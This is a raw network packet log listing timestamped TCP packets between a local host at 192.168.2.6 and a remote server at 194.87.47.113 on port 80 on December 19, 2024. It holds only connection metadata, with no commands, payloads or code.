Dec 19, 2024 08:09:34.195651054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.195686102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.196403027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.196450949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.264769077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.264822960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.264889956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.265136957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.265172005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.265285969 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.265794039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.265856981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.265903950 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.266690969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.266721010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.266767979 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.267524958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.267576933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.267625093 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.268404007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.268512011 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.268784046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.269298077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.269354105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.270148993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.270195007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.270247936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.271044016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.271091938 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.271166086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.271934032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.271981001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.272034883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.272078037 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.272799015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.272911072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.272960901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.273685932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.273802042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.273849010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.274534941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.274662971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.275413036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.275466919 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.275635004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.276319027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.276364088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.276416063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.276462078 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.277199030 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.277286053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.277331114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.278067112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.278124094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.278171062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.278949022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.279108047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.279169083 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.279808998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.279931068 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.279979944 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.280708075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.280828953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.280961990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.281579971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.281682968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.281811953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.282458067 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.282609940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.282670975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.283435106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.283566952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.283627033 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.284215927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.284338951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.284389973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.285130978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.285243988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.285295963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.286035061 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.286164045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.286214113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.286941051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.287003040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.287343025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.287741899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.287863970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.287970066 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.288710117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.288806915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.288912058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.289534092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.289623022 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.290369034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.290433884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.290493965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.291296959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.291358948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.291419029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.291472912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.292172909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.292304993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.292367935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.293023109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.293226957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.293298960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.293906927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.294011116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.294083118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.294836044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.294975042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.295056105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.295744896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.295898914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.295972109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.296533108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.296674013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.296732903 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.297405958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.297529936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.297605038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.298316002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.298408031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.298475027 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.298962116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.299012899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.299073935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.299868107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.299942970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.300010920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.300730944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.300838947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.301579952 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.301645994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.358294964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.358361006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.358463049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.358669996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.358807087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.359270096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.359549999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.359659910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.360419989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.360534906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.360569954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.361074924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.361289978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.361423016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.362207890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.362284899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.362319946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.362443924 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.363070965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.363161087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.363358021 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.385782957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.385871887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.385942936 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.386221886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.386342049 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.386473894 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.387099028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.387203932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.387991905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.388025999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.388111115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.388345003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.388847113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.388974905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.389050007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.389738083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.389877081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.389969110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.390599966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.390692949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.390800953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.457057953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.457086086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.457245111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.457458973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.457551956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.457669973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.458302975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.458434105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.458646059 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.459192991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.459301949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.459512949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.460067034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.460156918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.460599899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.460939884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.461031914 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.461293936 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.461827040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.461945057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.462136984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.462665081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.467708111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.597551107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.597692013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.597915888 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.597956896 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.598089933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.598177910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.598380089 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.598913908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.599056959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.599078894 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.599761009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.599826097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.599885941 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.600600004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.600728035 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.600739956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.601433039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.601557970 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.601661921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.602252960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.602319956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.602356911 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.603076935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.603177071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.603210926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.603940010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.604031086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.604042053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.604742050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.604854107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.604888916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.605571032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.605639935 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.605676889 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.606406927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.606518984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.606533051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.607233047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.607361078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.607376099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.608088017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.608186007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.608196974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.608901978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.608969927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.609005928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.609816074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.609891891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.609966040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.610569954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.610699892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.610836029 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.611387014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.611447096 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.611484051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.612210989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.612339020 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.612651110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.613042116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.613157988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.613183975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.613857031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.613950014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.613977909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.614737034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.614803076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.614851952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.615539074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.615644932 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.615808964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.616360903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.616638899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.616672993 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.617196083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.617275000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.617280960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.618031025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.618140936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.618175983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.618851900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.618951082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.619024038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.619678974 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.619807005 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.619884014 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.620487928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.620604038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.620620966 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.621345997 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.621467113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.621500969 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.622181892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.622288942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.622320890 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.623033047 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.623147964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.623724937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.623855114 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.623960972 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.624691963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.624732971 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.624819994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.625066996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.625504971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.625598907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.625777960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.626329899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.626435995 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.626811981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.627168894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.627283096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.627310991 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.627985954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.628077984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.628106117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.628822088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.628937960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.628969908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.629662037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.629769087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.629831076 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.630480051 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.630606890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.630640984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.631347895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.631438971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.631577015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.632147074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.632392883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.632487059 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.632983923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.633089066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.633124113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.633831978 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.633956909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.634128094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.634723902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.634954929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.635021925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:34.649228096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:34.649367094 CET	80	49862	194.87.47.113	192.168.2.6
